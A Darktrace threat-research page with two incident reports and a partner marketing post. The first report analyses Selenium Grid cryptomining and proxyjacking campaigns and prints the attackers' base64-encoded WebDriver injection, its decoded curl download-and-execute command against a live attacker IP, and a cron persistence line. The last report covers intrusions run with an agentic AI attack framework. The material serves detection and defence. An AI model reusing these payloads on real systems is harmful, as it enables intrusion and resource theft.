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December 9, 2024

From Automation to Exploitation: The Growing Misuse of Selenium Grid for Cryptomining and Proxyjacking

Cado Security Labs (now part of Darktrace) identified two new campaigns exploiting misconfigured Selenium Grid instances for cryptomining and proxyjacking. Attackers injected scripts to deploy reverse shells, IPRoyal Pawn, EarnFM, TraffMonetizer, and WatchTower for proxyjacking, and a Golang binary to install a cryptominer. These attacks highlight the critical need for Selenium Grid users to enable authentication.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Malware Research Lead
Written by
Nate Bill
Threat Researcher
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09
Dec 2024

Introduction: Misuse of Selenium Grid for cryptomining and proxyjacking

Cado Security Labs operates multiple honeypots across various services, enabling the discovery of new malware and campaigns. Recently, Cado Security researchers discovered two campaigns targeting Selenium Grid to deploy an exploit kit, cryptominer, and proxyjacker.

Selenium is an open-source project consisting of various components used for browser automation and testing. Selenium Grid is a server that facilitates running test cases in parallel across different browsers and versions. Selenium Grid is used by thousands of organizations worldwide, including large enterprises, startups, and open-source contributors. The exact number of users is difficult to quantify due to its open-source nature, but estimates suggest that millions of developers rely on Selenium tools. The tool’s flexibility and integration into CI/CD pipelines make it a popular choice for testing web applications across different platforms. However, Selenium Grid's default configuration lacks authentication, making it vulnerable to exploitation by threat actors [1].

Earlier this year, researchers at Wiz published findings on a cryptomining campaign named SeleniumGreed [1], which exploited misconfigured Selenium Grid instances. As a result, Cado Security Labs set up a new honeypot to detect emerging campaigns that exploit misconfigured Selenium Grid instances.

Technical analysis

Attack flow diagram
Figure 1: Attack flow of observed campaigns

Due to the misconfiguration in the Selenium Grid instance, threat actors are able to exploit the lack of authentication to carry out malicious activities. In the first attack observed, an attacker used the “goog:chromeOptions” configuration to inject a Base64 encoded Python script as an argument.

As shown in the code snippet below, the attacker specified Python3 as the binary in the WebDriver configuration, which enables the injected script to be executed.

import base64;exec(base64.b64decode(b).decode())"]}}}, "desiredCapabilities": {"browserName": "chrome", "version": "", "platform": "ANY", "goog:chromeOptions": {"extensions": [], "binary": "/usr/bin/python3", "args": ["-cb=b'aW1wb3J0IG9zO29zLnB1dGVudigiSElTVEZJTEUiLCIvZGV2L251bGwiKTtvcy5zeXN0ZW0oImN1cmwgLWZzU0xrIGh0dHA6Ly8xNzMuMjEyLjIyMC4yNDcvYnVyamR1YmFpLy5qYmxhZS95IC1vIC9kZXYvc2htL3kgOyBiYXNoIC9kZXYvc2htL3kgOyBybSAtcmYgL2Rldi9zaG0veSIpCg==';import base64;exec(base64.b64decode(b).decode())"]}}} 

import os;os.putenv("HISTFILE","/dev/null");os.system("curl -fsSLk http://173.212.220.247/burjdubai/.jblae/y -o /dev/shm/y ; bash /dev/shm/y ; rm -rf /dev/shm/y") 

The script, shown decoded above, sets the HISTFILE variable to “/dev/null”, which disables the logging of shell command history. Following this, the code uses “curl” to retrieve the script “y” from “http://173[.]212[.]220[.]247/burjdubai/.jblae/y” and saves it to a temporary directory “/dev/shm/y”. The downloaded file is then executed as a shell script using bash, with the file deleted from the system to remove evidence of its presence. 

The script “y” is GSocket reverse shell. GSocket [2] is a legitimate networking tool that creates encrypted TCP connections between systems; however, it is also used by threat actors for command-and-control (C2) or a reverse shell to send commands to the infected system. For this reverse shell, the webhook is set to “http://193[.]168[.]143[.]199/nGs.php?s=Fjb9eGXtNPnBXEB2ofmKz9”.

Reverse shell script
Figure 2: Reverse shell script

A second bash script named “pl” is retrieved from the C2. The script contains a series of functions that: 

  • Perform system architecture checks.
  • Stop Docker containers “watchtower” and “traffmonitizer”.
  • Sets the installation path to “/opt/.net/” or “/dev/shm/.net-io/”.
  • Depending on the system architecture, IPRoyal Pawn and EarnFM payloads are retrieved from 54[.]187[.]140.5 via curl and wget.
  • These are executed with the users’ IPRoyal details passed as arguments:
    -accept-tos -email="[email protected]" -password="wrapitDown9!"

IPRoyal Pawns is a residential proxy service that allows users to sell their internet bandwidth in exchange for money. The user's internet connection is shared with the IPRoyal network with the service using the bandwidth as a residential proxy, making it available for various purposes, including for malicious purposes. Proxyjacking is a form of cyber exploitation where an attacker hijacks a user's internet connection to use it as a proxy server. This allows the attacker to sell their victim’s IP to generate revenue. 

Screenshot from the "pl" script installing IPRoyal
Figure 3: Screenshot from the “pl” script installing IPRoyal

Inside “pl” there is a Base64 encoded script “tm”. This script also performs a series of functions including:

  • Checks for root privileges
  • Checks operating system 
  • Checks IPv4 status
  • System architecture checks
  • Sets TraffMonetizer token to ‘"2zXf0MLJ4l7xXvSEdEWGEOzfYLT6PabwAgWQfUYwCxg="’
  • Base64 encoded script to install Docker, if not already running
  • Retrieve TraffMonetizer and WatchTower Docker images from Docker registry
  • Deletes old TraffMonetizer container
Screenshot of function "tm" performing system checks
Figure 4: Screenshot of function “tm” performing system checks

In a second campaign, a threat actor followed a similar pattern of passing a Base64 encoded Python script in the “goog:chromeOptions” configuration to inject the script as an argument. Decoding the Python script reveals a Bash script:

{"capabilities": {"firstMatch": [{}], "alwaysMatch": {"browserName": "chrome", "pageLoadStrategy": "normal", "goog:chromeOptions": {"extensions": [], "binary": "/usr/bin/python3", "args": ["-cimport base64;exec(base64.b64decode(b'aW1wb3J0IG9zO29zLnN5c3RlbSgibm9odXAgZWNobyAnSXlNaEwySnBiaTlpWVhOb0NtWjFibU4w…').decode())"]}}}} 

‍

Bash script revealed by decoding the Python script
Figure 5: Bash script revealed by decoding the Python script

The Bash script checks the system's architecture and ensures it's running on a 64-bit machine, otherwise it exits. It then prepares the environment by creating necessary directories and attempting to remount “/tmp” with executable permissions if they are restricted. The script manipulates environment variables and configuration files, setting up conditions for the payload to run. It checks if certain processes or network connections exist to avoid running multiple instances or overlapping with other malware. The script also downloads an ELF binary “checklist.php” from a remote server with the User-Agent string “curl/7.74.9”. The script checks if the binary has been downloaded based on bytes size and executes it in the background. After executing the payload, the script performs clean up tasks by removing temporary files and directories.

The downloaded ELF binary, “checklist.php”, is packed with UPX, a common packer. However, the UPX header has been removed from the binary to prevent analysis using the unpacker function built into UPX.  

Manually unpacking UPX is a fairly straightforward process, as it is well documented. To do this, GNU debugger (GDB) Cado researchers used to step through the packed binary until they reached the end of the UPX stub, where execution control is handed over to the unpacked code. Researchers then dumped the memory maps of the process and reconstructed the original ELF using the data within.

The unpacked binary is written in Golang - an increasingly popular choice for modern malware. The binary is stripped, meaning its debugging information and symbols, including function names have been removed.

When run, the ELF binary attempts to use the PwnKit [3] exploit to escalate to root. This is a fairly old exploit for the vulnerability, CVE-2021-4034, and likely patched on most systems. A number of connections are made to Tor nodes that are likely being used for a C2, that are generated dynamically using a Domain Generation Algorithm (DGA). The victim’s IP address is looked up using iPify. The binary will then drop the “perfcc” crypto miner, as well as a binary named “top” to “~/.config/cron” and “~/.local/bin” respectively. A cron job is set up to establish persistence for each binary.

 11 * * * * /.config/cron/perfcc

Additionally, the binary creates two directories in /tmp/. Shown in Figure 6 is the directory “/tmp/.xdiag” that is created and contains multiple files and folders. The second directory created is “/tmp/.perf.c”, shown in Figure 7, includes a copy of the original binary that is named based on the process it has been injected into, in this example it is “systemd”. A PID of the process is stored in “/tmp”/ as “/.apid”. Inside the “/tmp/.perf.c” directory is also a UPX packed XMRig binary named “perfcc”, used for cryptomining. 

.xdiag directory
Figure 6: .xdiag directory
.perf.c directory
Figure 7: .perf.c directory

“Top” is a Shell Script Compiler (SHC) compiled ELF binary. SHC compiles Bash scripts into a binary with the contents encrypted with ARC4, making detection and analysis more difficult. 

Bash script from Top
Figure 8: Bash script from Top

This script checks for the presence of specific environment variables to determine its actions. If the “ABWTRX” variable is set, it prints a message and exits. If the “AAZHDE” environment variable is not set, the script adjusts the PATH, sets up cleanup traps, forcefully terminates any “perfctl” processes, and removes temporary files to clean up any artifacts. Finally, it executes the “top” command to display system processes and their resource usage. 

Key takeaways

While this is not the first time Selenium Grid has been exploited by threat actors, this campaign displays another variation of attack that can occur in misconfigured instances. It is also worth noting that similar attacks have been identified in other vulnerable services, such as GitHub. The LABRAT campaign identified by sysdig [4] last year exploited a vulnerability in GitLab for cryptomining and proxyjacking. 

As many organizations rely on Selenium Grid for web browser testing, this campaign further highlights how misconfigured instances can be abused by threat actors. Users should ensure authentication is configured, as it is not enabled by default. Additionally, organizations can consider a DFIR, such as Cado (acquired by Darktrace) to quickly respond to threats while minimizing potential damage and downtime.  

Indicators of compromise

54[.]187[.]140[.]5

173[.]212[.]220[.]247

193[.]168[.]143[.]199

198[.]211[.]126[.]180

154[.]213[.]187[.]153

http://173[.]212[.]220[.]247/burjdubai/.jblae/pl

http://173[.]212[.]220[.]247/burjdubai/.jblae/y

 

Tor nodes

95[.]216[.]88[.]55

146[.]70[.]120[.]58

50[.]7[.]74[.]173 www[.]os7mj54hx4pwvwobohhh6[.]com

129[.]13[.]131[.]140 www[.]xt3tiue7xxeahd5lbz[.]com

199[.]58[.]81[.]140 www[.]kdzdpvltoaqw[.]com

212[.]47[.]244[.]38 www[.]fkxwama7ebnluzontqx2lq[.]com

top : 31ee4c9984f3c21a8144ce88980254722fd16a0724afb16408e1b6940fd599da  

perfcc : 22e4a57ac560ebe1eff8957906589f4dd5934ee555ebcc0f7ba613b07fad2c13  

pwnkit : 44e83f84a5d5219e2f7c3cf1e4f02489cae81361227f46946abe4b8d8245b879  

net_ioaarch64 : 95aa55faacc54532fdf4421d0c29ab62e082a60896d9fddc9821162c16811144  

efm : 96969a8a68dadb82dd3312eee666223663ccb1c1f6d776392078e9d7237c45f2

MITRE ATTACK

Resource Hijacking  : T1496  

Ingress Tool Transfer : T1005  

Command and Scripting Interpreter Python : T1059.006  

Command and Scripting Interpreter Unix Shell : T1059.004  

Scheduled Task Cron : T1053.003  

Hijack Execution Flow Dynamic Linker Hijacking : T1574.006  

Deobfuscate/Decode Files or Information : T1140  

Indicator Removal Clear Command History : T1070.003  

Indicator Removal File Deletion : T1070.004  

Software Packing : T1027.002  

Domain Generation Algorithm : T1568.002 ‍

‍

Detection

Paths

/tmp/.xdiag

/tmp/.perf.c

/etc/cron.*/perfclean

/.local/top

/.config/cron/top

/tmp/.apid

‍

Yara rules

rule ELF_SHC_Compiled 
{   
meta:       
 description = "Detects ELF binaries compiled with SHC"       
 author = "[email protected]"       
 date = "2024-09-03"    
 
strings:       
 $shc_str = "=%lu %d"       
 $shc_str2 = "%s%s%s: %s\n"       
 $shc_str3 = "%lu %d%c"       
 $shc_str4 = "x%lx"       
 $getenv = "getenv"           
 
condition:       
 uint32be(0) == 0x7f454c46 and       
 any of ($shc_str*) and $getenv      
} 
rule Detect_Base64_Obfuscation_Py 
{   
meta:       
 description = "Detects obfuscated Python code that uses base64 decoding"       
 author = "[email protected]"       
 date = "2024-09-04"   
strings:       
 $import_base64 = "import base64" ascii       
 $exec_base64_decode = "exec(base64.b64decode(" ascii      $decode_exec = "base64.b64decode(b).decode())" ascii    
 condition:       
  all of ($import_base64, $exec_base64_decode, $decode_exec) 
  } 
rule perfcc_script 
{ 
meta:   
author = "[email protected]"   
description = "Detects script used to set up and retrieve Perfcc"    
strings:        
$env = "AAZHDE"       
$dir = "mkdir /tmp/.perf.c 2>/dev/null"       
$dir_2 = "mkdir /tmp/.xdiag 2>/dev/null"       
$curl = "\"curl/7.74.9\""       
$command = "pkill -9 perfctl &>/dev/null"       
$command_2 = "killall -9 perfctl &>/dev/null"       
$command_3 = "chmod +x /tmp/httpd"    

condition:       
 $env and ($dir or $dir_2) and any of ($command*) and $curl  
 } 

References:  

  1. https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps ‍
  2. http://github.com/hackerschoice/gsocket ‍
  3. https://github.com/ly4k/PwnKit‍
  4. https://www.sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Malware Research Lead
Written by
Nate Bill
Threat Researcher

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November 18, 2026

Microsoft Perception, Agentic Insiders and the Role of Behavioral Security

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This week at Ignite, Microsoft announced that Microsoft Perception is generally available. It is a significant milestone for the industry, and one we welcome as a Microsoft partner. Microsoft is putting an architectural bet at the center of its security strategy: AI has changed the speed of cyber, and defense must change with it.

At Darktrace, we’ve long held the same view, so it’s encouraging to see a partner of Microsoft’s scale articulate it so clearly and bring it to market.

Security gets a team of agents

Perception is Microsoft’s agentic security system. It orchestrates red, blue, and green team agents through playbooks in a closed loop: red agents simulate attacks, blue agents detect, triage and investigate, and green agents fix and remediate. Rather than adding another assistant to the SOC, it creates coordinated teams of agents that share context. Security teams set the guardrails and approve high-impact actions.

Microsoft frames this as a three-layer cyber stack: signals, sensors and actuators; a context layer; and agents, harness and models on top. Together with partner sources, the foundation produces more than 165 trillion signals per day.  

The announcement also makes a second point that matters just as much. Microsoft is treating AI agents themselves as a new insider-risk category. In its words, “Agents are the new insiders.” They work at machine speed, around the clock, with broad access to data, apps, tools and other agents, and like any insider they can make mistakes, be manipulated or be compromised. New capabilities such as Dynamic Agent Risk (now in preview) and dynamic Conditional Access controls are designed to assess and contain that risk as it changes.

Four truths about security in the agentic era

The announcement is built on four ideas, and together they describe the new reality security teams are defending:

  1. Static security can’t keep up. Microsoft validates what many security practitioners have observed; the window between a vulnerability’s discovery and its exploitation is collapsing from months to minutes. Manual triage can’t answer that pace. Autonomous detection and response is now a requirement, not simply a “nice to have”.
  2. Agents must be treated as insiders. The question for security teams is no longer only “who is this user?” but “what is this agent actually doing?” Identity tells you who an agent is. Policy tells you what it is allowed to do. Neither tells you whether its behavior is normal.
  3. Security is moving from signatures to behavior and context. Dynamic Agent Risk looks across identity, data, endpoint, cloud and network signals and asks whether an agent’s actions are drifting from the intent of its task. That is behavioral thinking, and it is philosophically close to the Adaptive AI approach Darktrace has pioneered.
  4. Machine-speed attacks demand machine-speed response. Humans set the objectives and guardrails. Autonomous systems do the work inside them, both detecting and acting. Microsoft’s design has agents investigate, recommend and, within approved boundaries, act, with security teams setting the limits. At this pace, the gap between knowing something is wrong and doing something about it has to close to seconds.

The opportunity: where control plane meets behavioral context

Perception is an extraordinary control plane for agentic security. The question for security leaders is how to make it even more effective in the environments they actually run.

Real enterprises are heterogeneous. They run AWS and Google Cloud alongside Azure, and OT, IoT and third-party identity alongside Entra. Increasingly they also run AI agents and MCP-connected systems that no single vendor’s telemetry fully covers. Microsoft’s architecture recognizes this, with more than 500 connectors into the wider ecosystem.

That is where Darktrace’s role is distinct. The challenge isn’t signal volume, where Microsoft’s scale is unmatched. It’s deeply understanding what is normal for a specific organization, across every system, identity and agent in it. Together, we deliver two complementary layers:

  • Microsoft brings global intelligence and orchestration. It tells you what is known, what it means and what to do about it.
  • Darktrace brings organization-specific behavioral context. It tells you what is unusual here, right now, across the organizations AI, people and infrastructure, even if it has never been seen before.

The difference shows up in the numbers. A large enterprise generates billions of signals. Darktrace turns them into thousands of incidents, narrows those to hundreds of AI-led investigations, and surfaces as few as 20 that merit a human’s attention. For an agentic SOC, that kind of evaluated, prioritized input makes agents faster, not busier.

As enterprises deploy more agents, the hard problem becomes behavior that is technically permitted but unusual, manipulated or inconsistent with the agent’s purpose. Consider an agent that normally reads Salesforce records during US business hours and suddenly starts enumerating SharePoint and opening unusual outbound connections. Each step may use valid access and approved tools, so identity and policy checks can all pass. Spotting it requires knowing the behavior is abnormal for this agent, in this environment, right now.

That is why one principle in Microsoft’s AI Transparency Initiative matters so much: organizations should be able to see what their AI accesses and does, and independently verify those actions.  

  • Identity and permissions answer “should this agent be allowed to do this?”
  • Behavioral defense answers “even though it is allowed, is what it’s doing normal?”

Deterministic controls around non-deterministic AI are the right foundation, and continuously learned baselines are how organizations can verify those controls are working. ‍

What to look for in an agentic SOC architecture

As organizations adopt platforms like Perception, we’d encourage them to look for three capabilities:

  1. Behavioral context in the control plane. Agents work best with high-confidence signals rather than thousands of raw alerts: here is the behavior that materially deviates from this organization’s learned normal.
  2. ‍Behavioral reasoning on demand. During an investigation, agents should be able to ask what changed around a given identity, device or agent in the last 24 hours, and get a clear answer. ‍
  3. Autonomous, coordinated response across the stack. Response should be as fast as the threat without being reckless: acting immediately when confidence is high, constraining or reversing actions when it isn’t, and keeping a human in the loop when it matters. Within policy and human-approval guardrails, it should target the abnormal behavior rather than the whole business process and span identity, endpoint and the wider environment.

These are the areas where we’re focused, and where we look forward to working with Microsoft and the broader ecosystem.

Response is where speed is won or lost

In the AI era, detection and investigation only matter if action follows quickly. Perception brings agentic orchestration to that problem, with security teams setting the guardrails and approving high-impact steps. Autonomous response from Darktrace takes a complementary approach: it responds on behavioral deviation, in a way that is proportionate and targeted. It can interrupt activity that is abnormal for that specific device, identity or agent while leaving normal business activity running.

The two approaches fit together naturally. Behavioral signals can tell an orchestration layer that something has changed and how confident the system is. Orchestrated playbooks can then coordinate wider containment across identity, endpoint and cloud, within the policies customers define.

The bigger picture

The industry’s architecture is converging on identity, policy, telemetry, behavior, autonomous reasoning and machine-speed response. Microsoft is building formidable pieces of that picture, especially identity, policy, telemetry and orchestration.

Behavior is the layer Darktrace is built to provide: an independent intelligence that continuously learns how humans, machines and AI agents normally act, detects the moment reality departs from intent, and can respond to that deviation in a targeted, proportionate way that keeps normal business running. When attacks move at machine speed, understanding what is abnormal and acting on it quickly have to go together.

Perception brings together what Microsoft knows and orchestrates the response across its stack. Darktrace helps organizations understand what is normal for them and act on what isn’t. Customers building their agentic security strategy will need both.

Congratulations to our partners at Microsoft on this milestone. We look forward to helping customers secure the agentic era together.

Learn more about Darktrace Behavioral Defense.

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Kellie Regan
Director, Product Marketing - Cloud Security

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November 18, 2026

Agentic attacks in the wild: Inside three ARTEX investigations

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Key insights

·       Darktrace observed activity in several customer environments involving infrastructure and behaviors associated with reported ARTEX-enabled campaigns, including activity linked to China-nexus espionage and financially motivated attacks.

·       In the higher-confidence cases, known infrastructure appeared alongside beaconing, unusual TLS, reconnaissance, tunneling, script retrieval, SMB activity and external data transfer. One Azure case had no observed network command and control at all, only key listing and application identity activity.

·       ARTEX is now used by actors with different objectives. Identifying the framework can help locate relevant activity, while the behavior around the affected system provides the stronger evidence for understanding compromise and attribution.

‍

Introduction

Attackers have moved beyond using AI for phishing and are running agentic frameworks; open-source tools like ARTEX, CAIRN, PentAGI and Hexstrike that let AI agents scan, exploit and move through an environment with little human input [1]. ARTEX has moved quickly from an offensive security project into live intrusion activity. Since at least August 2026, the framework has been associated with espionage, financially motivated attacks and opportunistic campaigns across government, financial services, technology, defense, telecommunications and other sectors. The FBI has documented ARTEX activity spanning reconnaissance, exploitation, credential abuse, lateral movement, collection, command and control, and exfiltration [2].

Darktrace has observed activity in customer environments that overlaps with infrastructure, tooling and behaviors reported in several of these campaigns. The cases below highlight how those intrusions appeared on the network, including the activity visible before an analyst can determine which actor or framework may be responsible.

ARTEX as part of the attacker workflow

ARTEX is an open-source, multi-agent offensive security platform that converts high-level objectives into actions carried out by specialized agents [2]. Operators have used it to automate activity across the attack lifecycle, including scanning, exploitation, credential activity and post-compromise operations. Some reported intrusions moved from initial targeting to privileged access in under three hours [2].

The framework is now associated with actors pursuing different objectives and using different post-exploitation tooling. The original public repository was removed in October 2026, but archived copies and localized versions remain available. For defenders, ARTEX is more useful as context for an investigation than as an attribution shortcut.

Darktrace observations show the same point at network level. Infrastructure linked to reported ARTEX campaigns appeared alongside beaconing, tunneling, unusual TLS, reconnaissance, file retrieval and lateral activity.

Case 1: Espionage-linked activity

Darktrace observed activity associated with BLOODALCHEMY command-and-control (C2) infrastructure in two customer environments. In one environment, five devices communicated with nginxmysql[.]com and 45.153.126[.]223 between October 23 and November 2. Both indicators had previously been linked to China-nexus espionage activity involving ARTEX [4].

The connections were accompanied by suspicious beaconing, repeated successful connections and unusual self-signed TLS. One system began making suspicious TLS connections to nginxmysql[.]com on October 23. Beaconing followed on October 24, and SMB scanning appeared later in the sequence. Other affected systems subsequently communicated with previously unseen external endpoints.

Prior to the observed C2, Darktrace detected curl requests retrieving executable and script content including /systemd, /wazuh, linux_amd64, u.sh and q.sh. Related telemetry included DRSGetNCChanges activity consistent with DCSync, LDAP enumeration, DNS zone transfers, network scanning, certificate downloads and SMB writes involving start.bat.

‍

Figure 1: Darktrace investigation showing suspicious network activity associated with infrastructure linked to reported ARTEX activity.

‍

Figure 2: Darktrace detection showing anomalous self-signed TLS activity during the espionage-linked investigation.

‍

BLOODALCHEMY has been reported in more than one China-nexus cluster [5]. SoftEther infrastructure observed in one environment provided another point of correlation with reported VAPOR PANDA tradecraft. The moderate-confidence assessment tying this to a Chinese nexus threat actor is based on infrastructure, victim context, tradecraft behavior that followed the initial connection, and public reporting.

Case 2: Financial-sector activity

In early November, Darktrace observed activity in two financial-sector environments that overlap with reported ARTEX infrastructure. On November 5, a server connected to 213.111.150[.]145:8099 and downloaded wisp-agent, associated with WISP C2 activity.

Figure 3: Darktrace's Real-Time AI Analyst investigation showing a server making repeated HTTP requests, using a curl user agent, to a rare external endpoint on port 8099.

‍

In a second environment, a device attempted connections to 85.11.167[.]52 on November 1 and 2. The connections occurred alongside beaconing to new and rare destinations, anomalous TLS, possible tunneling and unusual package downloads.

The device also communicated with temp[.]sh, ssh.localhost[.]run, localhost[.]run, termbin[.]com, pastebin[.]com and GitHub-hosted release infrastructure. The sequence showed potential tooling retrieval, C2, tunneling and use of external services capable of staging or moving data.

Figure 4: Darktrace investigation showing connections to new and rare external destinations during the financial-sector activity.

‍

Case 3: Credential collection in Azure

On October 20, Darktrace observed a sweep of credential collection in a customer’s Azure environment that is consistent with ARTEX use. The intrusion began with connections to the virtual network from 43.98.196[.]73 (Alibaba Cloud). Open-source scanning data associates the address with ARTEX.

A compromised user identity made requests to the Azure Resource Manager API, though how it was compromised is unknown. The requests listed keys and secrets across API Management, web and function apps, Cognitive Services, Event Hubs, storage accounts and a managed Kubernetes cluster. With those credentials the attacker compromised multiple application identities. The attacker then used the application identities and the user identity to retrieve more credentials, change firewall and security rules and run scripts on virtual machines. Microsoft Defender alerts showed attempted execution of scripts related to Mimikatz and Impacket.

In a cloud environment, such privileged and enumerative operations are potentially indistinguishable from legitimate administrative actions. Consequently, the sequence and context of such operations signified more than any specific API call. There was no C2 traffic to match, and listing keys and using application identities are also what administrators and automation do. A compromised user, credential retrieval across several Azure services, new application identities, more credential collection and changes to security controls only made sense together, and by then access was spreading through the cloud environment.

‍

Figure 5: Darktrace Advanced Search showing Azure AD operation names associated with the activity.

‍

Figure 6: Darktrace Advanced Search showing the Azure Resource Manager action used to execute scripts.
Figure 7: Darktrace Device Event log window showing the triggered models related to the suspicious Azure activity.

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Shared tooling weakens attribution signals

The three cases looked different on the network: BLOODALCHEMY infrastructure and espionage-consistent tradecraft, WISP infrastructure in financial-sector systems, and Azure identity and control-plane activity with no C2 at all.

Shared tooling has complicated attribution for years, and ARTEX adds to it because the framework carries out more of the attack, so reconnaissance, exploitation attempts and some post-compromise activity can look the same whoever set the objective. Attribution still needs infrastructure, malware, victimology, timing and the sequence of behavior inside the environment, and an ARTEX link is one input to that. Moreover, the behavior and the agent will still be shaped by the biases, preferences, and tradecraft of its operators.

At its core, ARTEX’s planner and worker agents identify and record facts, while exploring intents. However, the way the Large Language Model (LLM) chooses its next steps toward an objective is shaped fundamentally by the skills and tools available in its context. This includes its starting context, as well as various possible Model Context Protocol (MCP) plugins and user-injected context (e.g. user input mid-operation). Operators still have preferred tradecraft, and this preference shapes the pathways the harness will provide to the LLM in context prompts. Even on the same platform, customization based on operator preferences and goals will remain a key facet of campaign and actor identification.

Detection and response

Across the Darktrace cases, the stronger signals came from behavior after the connection: beaconing, abnormal TLS, reconnaissance, unusual authentication, tunneling, script retrieval, SMB activity and outbound transfer. Automated activity also produced compressed bursts of requests, sequential enumeration and repeated attempts with small changes.

With agentic tools reaching privileged access in under three hours, analysts may have only a short window to connect scanning or authentication activity to credential changes, new administrative access, tooling retrieval or lateral movement. Keeping network, identity and cloud telemetry together shows what happened before and after the first match, and whether a connection was noise or an intrusion moving toward privileged access.

In some of these cases, Darktrace's Autonomous Response took or recommended action against the activity, including blocking internal connectivity over specified ports, inhibiting outbound connections with likely C2 endpoints, and/or disabling SaaS/IaaS user accounts. While many of these recommended actions required human confirmation due to deployment configuration preferences, had these actions been applied autonomously at the time of alert, the scope of activity would have been limited, thereby giving analysts time to investigate and respond.

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Figure 8: Autonomous Response blocking suspicious firewall modification activity.

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Figure 9: Autonomous Response summary for affected cloud users during the intrusion.

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Figure 10: Autonomous Response taking action against unusual lateral movement activity on an affected device.

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Figure 12: Autonomous Response summary for affected network users during the time of the intrusion.

ARTEX won’t be the last of these frameworks. The next ones will come with new capabilities and defaults, but an intrusion still must interact with the target environment, and that shows up in how systems, identities and applications behave even after the indicator has aged out. The harder intrusions to catch will have no infrastructure to match, just ordinary API calls and legitimate identities. Detecting those depends on knowing what normal looks like for each identity and device. Containing abnormal activity at machine speed can stop an intrusion progressing while analysts establish impact and its extent. Autonomous Response does not replace that human analysis, but rather augments defender teams' capabilities by extending the window for investigation.

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Credit to Nathaniel Jones (SVP, Global Threat Intelligence), Eugene Chua (Principal Analyst), Sam Lister (Senior Security Researcher), Adam Potter (Associate Principal Cyber Analyst), Daniel Levy (Threat Hunting Data Scientist)

Edited by Ryan Traill (Content Manager)

Appendices

Darktrace model detections

·       Anomalous Connection / Multiple HTTP POSTs to Rare Hostname

·       Anomalous Connection / Rare External SSL Self-Signed

·       Anomalous Connection / Suspicious Self-Signed SSL

·       Compromise / Large Number of Suspicious Successful Connections

·       Compromise / Suspicious Beaconing Behaviour

·       Compromise / Agent Beacon to New Endpoint

·       Compromise / Beacon to Young Endpoint

·       Compromise / SSL Beaconing to Rare Destination

·       Compromise / Suspicious TLS Beaconing To Rare External

·       Compromise / Possible Tunnelling to Bin Services

·       Device / Anomalous Github Download

·       Device / Anomalous Package Download

·       Device / Initial Attack Chain Activity

Indicators of compromise (IoCs)

nginxmysql[.]com

45.153.126[.]223

213.111.150[.]145

wisp-agent

85.11.167[.]52

43.98.196[.]73

192.121.47[.]20

www[.]ddduuuppp[.]com

89.46.234[.]50

sqlserver-sqlite[.]com

199.19.95[.]66

graphics-hook-filter64.dll

graphics-hook_config.bin

References

1.      Google. GTIG AI Threat Tracker - https://cloud.google.com/blog/topics/threat-intelligence/agentic-threat-activity-crosses-a-significant-threshold

2.      Federal Bureau of Investigation, Threat Overview of ARTEX Autonomous Penetration Testing Framework, FLASH-20261113-001, 13 November 2026: https://www.ic3.gov/CSA/2026/261113.pdf

3.      Microsoft Security Blog, Storm-0940 Uses ARTEX Agentic AI in ConnectWise Supply Chain Compromise: https://www.microsoft.com/en-us/security/blog/2026/10/21/storm-0940-uses-artex-agentic-ai-connectwise-supply-chain-compromise/

4.      CrowdStrike, VAPOR PANDA Uses ARTEX to Scale Global Campaign: https://www.crowdstrike.com/en-us/blog/vapor-panda-uses-artex-to-scale-global-campaign/

5.      Bitdefender, SilkParasite: Tracking a China-Nexus APT Across Central Asia: https://www.bitdefender.com/en-us/blog/businessinsights/silkparasite-tracking-china-nexus-apt-across-central-asia

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About the author
Nathaniel Jones
SVP, Global Threat Intelligence
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